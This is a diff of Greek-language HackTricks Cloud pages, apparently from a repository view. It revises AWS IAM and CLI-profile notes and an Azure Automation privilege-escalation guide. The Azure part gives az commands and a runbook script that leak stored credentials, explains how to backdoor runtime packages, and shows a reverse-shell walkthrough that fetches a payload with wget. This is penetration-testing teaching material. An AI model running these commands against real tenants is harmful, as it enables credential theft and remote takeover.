Επομένως, αν σε κάποιο σημείο αντιμετωπίσετε το σφάλμα "... επειδή καμία πολιτική συνεδρίας δεν επιτρέπει το ...", και ο ρόλος έχει πρόσβαση για να εκτελέσει την ενέργεια, είναι επειδή **υπάρχει μια πολιτική συνεδρίας που το εμποδίζει**.
|
||||
Επομένως, αν σε κάποια στιγμή αντιμετωπίσετε το σφάλμα "... επειδή καμία πολιτική συνεδρίας δεν επιτρέπει το ...", και ο ρόλος έχει πρόσβαση για να εκτελέσει την ενέργεια, είναι επειδή **υπάρχει μια πολιτική συνεδρίας που το εμποδίζει**.
|
||||
|
||||
### Ομοσπονδία Ταυτότητας
|
||||
|
||||
@@ -263,11 +281,11 @@ aws sts assume-role \
|
||||
|
||||
Είναι δυνατόν να **δώσετε άδειες μέσω ενσωματωμένων πολιτικών σε ρόλους που δημιουργούνται μέσω του IAM Identity Center**. Οι ρόλοι που δημιουργούνται στους λογαριασμούς που δίνονται **ενσωματωμένες πολιτικές στο AWS Identity Center** θα έχουν αυτές τις άδειες σε μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Επομένως, ακόμη και αν δείτε 2 ρόλους με μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**, **δεν σημαίνει ότι έχει τις ίδιες άδειες**.
|
||||
Επομένως, ακόμη και αν δείτε 2 ρόλους με μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**, αυτό **δεν σημαίνει ότι έχει τις ίδιες άδειες**.
|
||||
|
||||
### Διασυνοριακές Εμπιστοσύνες και Ρόλοι
|
||||
|
||||
**Ένας χρήστης** (εμπιστευόμενος) μπορεί να δημιουργήσει έναν Διασυνοριακό Ρόλο με ορισμένες πολιτικές και στη συνέχεια, **να επιτρέψει σε έναν άλλο χρήστη** (εμπιστευμένος) να **έχει πρόσβαση στον λογαριασμό του** αλλά μόνο **έχοντας την πρόσβαση που υποδεικνύεται στις νέες πολιτικές ρόλου**. Για να το δημιουργήσετε αυτό, απλώς δημιουργήστε έναν νέο Ρόλο και επιλέξτε Διασυνοριακό Ρόλο. Οι ρόλοι για Διασυνοριακή Πρόσβαση προσφέρουν δύο επιλογές. Παροχή πρόσβασης μεταξύ λογαριασμών AWS που κατέχετε και παροχή πρόσβασης μεταξύ ενός λογαριασμού που κατέχετε και ενός τρίτου λογαριασμού AWS.\
|
||||
**Ένας χρήστης** (εμπιστευόμενος) μπορεί να δημιουργήσει έναν Διασυνοριακό Ρόλο με κάποιες πολιτικές και στη συνέχεια, **να επιτρέψει σε έναν άλλο χρήστη** (εμπιστευμένος) να **έχει πρόσβαση στον λογαριασμό του** αλλά μόνο **έχοντας την πρόσβαση που υποδεικνύεται στις νέες πολιτικές ρόλου**. Για να το δημιουργήσετε αυτό, απλώς δημιουργήστε έναν νέο Ρόλο και επιλέξτε Διασυνοριακό Ρόλο. Οι ρόλοι για Διασυνοριακή Πρόσβαση προσφέρουν δύο επιλογές. Παρέχοντας πρόσβαση μεταξύ λογαριασμών AWS που κατέχετε, και παρέχοντας πρόσβαση μεταξύ ενός λογαριασμού που κατέχετε και ενός λογαριασμού τρίτου μέρους AWS.\
|
||||
Συνιστάται να **καθορίσετε τον χρήστη που είναι εμπιστευμένος και να μην βάλετε κάτι γενικό** γιατί αν όχι, άλλοι αυθεντικοποιημένοι χρήστες όπως οι ομοσπονδικοί χρήστες θα μπορούν επίσης να εκμεταλλευτούν αυτήν την εμπιστοσύνη.
|
||||
|
||||
### AWS Simple AD
|
||||
@@ -278,9 +296,9 @@ aws sts assume-role \
|
||||
- Κέντρο Διαχείρισης AD
|
||||
- Πλήρης υποστήριξη PS API
|
||||
- Κάδος Ανακύκλωσης AD
|
||||
- Λογαριασμοί Υπηρεσιών Διαχειριζόμενων Ομάδων
|
||||
- Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών
|
||||
- Επεκτάσεις Σχήματος
|
||||
- Καμία Άμεση πρόσβαση στο OS ή σε Instances
|
||||
- Καμία Άμεση πρόσβαση στο OS ή στις Εγκαταστάσεις
|
||||
|
||||
#### Ομοσπονδία Ιστού ή Αυθεντικοποίηση OpenID
|
||||
|
||||
@@ -311,11 +329,11 @@ aws sts assume-role \
|
||||
| APKA | Δημόσιο κλειδί |
|
||||
| AROA | Ρόλος |
|
||||
| ASCA | Πιστοποιητικό |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) χρησιμοποιήστε αυτό το πρόθεμα, αλλά είναι μοναδικά μόνο σε συνδυασμό με το μυστικό κλειδί πρόσβασης και το διακριτικό συνεδρίας. |
|
||||
| ASIA | [Προσωρινά (AWS STS) αναγνωριστικά κλειδιών πρόσβασης](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) χρησιμοποιούν αυτό το πρόθεμα, αλλά είναι μοναδικά μόνο σε συνδυασμό με το μυστικό κλειδί πρόσβασης και το διακριτικό συνεδρίας. |
|
||||
|
||||
### Συνιστώμενες άδειες για έλεγχο λογαριασμών
|
||||
|
||||
Οι παρακάτω προνόμια παρέχουν διάφορη ανάγνωση μεταδεδομένων:
|
||||
Οι παρακάτω προνόμια παρέχουν διάφορες αναγνωρίσεις μεταδεδομένων:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -330,8 +348,8 @@ aws sts assume-role \
|
||||
|
||||
### Αυθεντικοποίηση CLI
|
||||
|
||||
Για να αυθεντικοποιηθεί ένας κανονικός χρήστης στο AWS μέσω CLI, πρέπει να έχετε **τοπικά διαπιστευτήρια**. Από προεπιλογή μπορείτε να τα ρυθμίσετε **χειροκίνητα** στο `~/.aws/credentials` ή **τρέχοντας** `aws configure`.\
|
||||
Σε αυτό το αρχείο μπορείτε να έχετε περισσότερα από ένα προφίλ, αν **δεν καθοριστεί προφίλ** χρησιμοποιώντας το **aws cli**, θα χρησιμοποιηθεί αυτό που ονομάζεται **`[default]`** σε αυτό το αρχείο.\
|
||||
Για να μπορεί ένας κανονικός χρήστης να αυθεντικοποιηθεί στο AWS μέσω CLI, πρέπει να έχει **τοπικά διαπιστευτήρια**. Από προεπιλογή μπορείτε να τα ρυθμίσετε **χειροκίνητα** στο `~/.aws/credentials` ή **τρέχοντας** `aws configure`.\
|
||||
Σε αυτό το αρχείο μπορείτε να έχετε περισσότερα από ένα προφίλ, αν **δεν καθοριστεί προφίλ** χρησιμοποιώντας το **aws cli**, το προφίλ που ονομάζεται **`[default]`** σε αυτό το αρχείο θα χρησιμοποιηθεί.\
|
||||
Παράδειγμα αρχείου διαπιστευτηρίων με περισσότερα από 1 προφίλ:
|
||||
```
|
||||
[default]
|
||||
@@ -345,7 +363,7 @@ region = eu-west-2
|
||||
```
|
||||
Αν χρειάζεστε να έχετε πρόσβαση σε **διαφορετικούς λογαριασμούς AWS** και το προφίλ σας έχει δοθεί πρόσβαση για **να αναλάβετε έναν ρόλο μέσα σε αυτούς τους λογαριασμούς**, δεν χρειάζεται να καλείτε χειροκίνητα το STS κάθε φορά (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) και να ρυθμίζετε τα διαπιστευτήρια.
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το αρχείο `~/.aws/config` για να [**υποδείξετε ποιους ρόλους να αναλάβετε**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), και στη συνέχεια να χρησιμοποιήσετε την παράμετρο `--profile` όπως συνήθως (η `assume-role` θα εκτελείται με διαφάνεια για τον χρήστη).\
|
||||
Μπορείτε να χρησιμοποιήσετε το αρχείο `~/.aws/config` για να [ **υποδείξετε ποιους ρόλους να αναλάβετε**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), και στη συνέχεια να χρησιμοποιήσετε την παράμετρο `--profile` όπως συνήθως (η `assume-role` θα εκτελείται με διαφανή τρόπο για τον χρήστη).\
|
||||
Ένα παράδειγμα αρχείου ρυθμίσεων:
|
||||
```
|
||||
[profile acc2]
|
||||
@@ -359,12 +377,13 @@ sts_regional_endpoints = regional
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Αν ψάχνετε για κάτι **παρόμοιο** με αυτό αλλά για τον **φυλλομετρητή**, μπορείτε να ελέγξετε την **επέκταση** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
Αν ψάχνετε για κάτι **παρόμοιο** με αυτό αλλά για τον **πλοηγό** μπορείτε να ελέγξετε την **επέκταση** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
|
||||
- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,16 +12,27 @@
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
Να θυμάστε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
|
||||
- **Από τον Λογαριασμό Αυτοματοποίησης στη VM**
|
||||
|
||||
Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
|
||||
|
||||
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
|
||||
|
||||
> [!TIP]
|
||||
> Να θυμάστε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
|
||||
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Από τη VM στον Λογαριασμό Αυτοματοποίησης**
|
||||
|
||||
Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα μπορεί να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Όπως είναι δυνατόν να δείτε στην παρακάτω εικόνα, έχοντας πρόσβαση Διαχειριστή στη VM είναι δυνατόν να βρείτε στις **μεταβλητές περιβάλλοντος της διαδικασίας** το URL και το μυστικό για να έχετε πρόσβαση στην υπηρεσία μεταδεδομένων του λογαριασμού αυτοματοποίησης:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
|
||||
Ως σύνοψη, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
@@ -36,7 +47,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** μιας διαπίστευσης και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης.
|
||||
Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** ενός διαπιστευτηρίου και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στον Λογαριασμό Αυτοματοποίησης ώστε οι αλλαγές να εφαρμοστούν:
|
||||
```bash
|
||||
@@ -82,7 +93,7 @@ az rest --method PATCH \
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Προγράμματος στον Λογαριασμό Αυτοματοποίησης που εκτελείται κάθε 15 λεπτά (όχι πολύ κρυφά) χρησιμοποιώντας την παρακάτω εντολή.
|
||||
|
||||
Σημειώστε ότι το **ελάχιστο διάστημα για ένα πρόγραμμα είναι 15 λεπτά**, και ο **ελάχιστος χρόνος έναρξης είναι 5 λεπτά** στο μέλλον.
|
||||
Σημειώστε ότι το **ελάχιστο διάστημα για ένα πρόγραμμα είναι 15 λεπτά**, και η **ελάχιστη ώρα έναρξης είναι 5 λεπτά** στο μέλλον.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -104,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατόν να ανατεθεί ένας Προγραμματιστής σε ένα runbook χρησιμοποιώντας:
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -123,11 +134,11 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
|
||||
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
|
||||
Σημειώστε ότι θα χρειαστεί να **υποδείξετε το URI του webhook** με το token που θα χρησιμοποιήσετε.
|
||||
```bash
|
||||
@@ -219,7 +230,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
Αν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
Εάν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
@@ -247,11 +258,11 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
|
||||
```
|
||||
- Βήμα 4 — Προετοιμασία του Kali Box
|
||||
|
||||
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub.
|
||||
Ο διακομιστής Kali κατεβάζει το φορτίο RevPS.ps1 από ένα αποθετήριο GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
|
||||
Το σενάριο επεξεργάζεται για να καθορίσει το στόχο Windows VM και την πόρτα για το reverse shell.
|
||||
|
||||
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
|
||||
|
||||
|
||||
Reference in New Issue
Block a user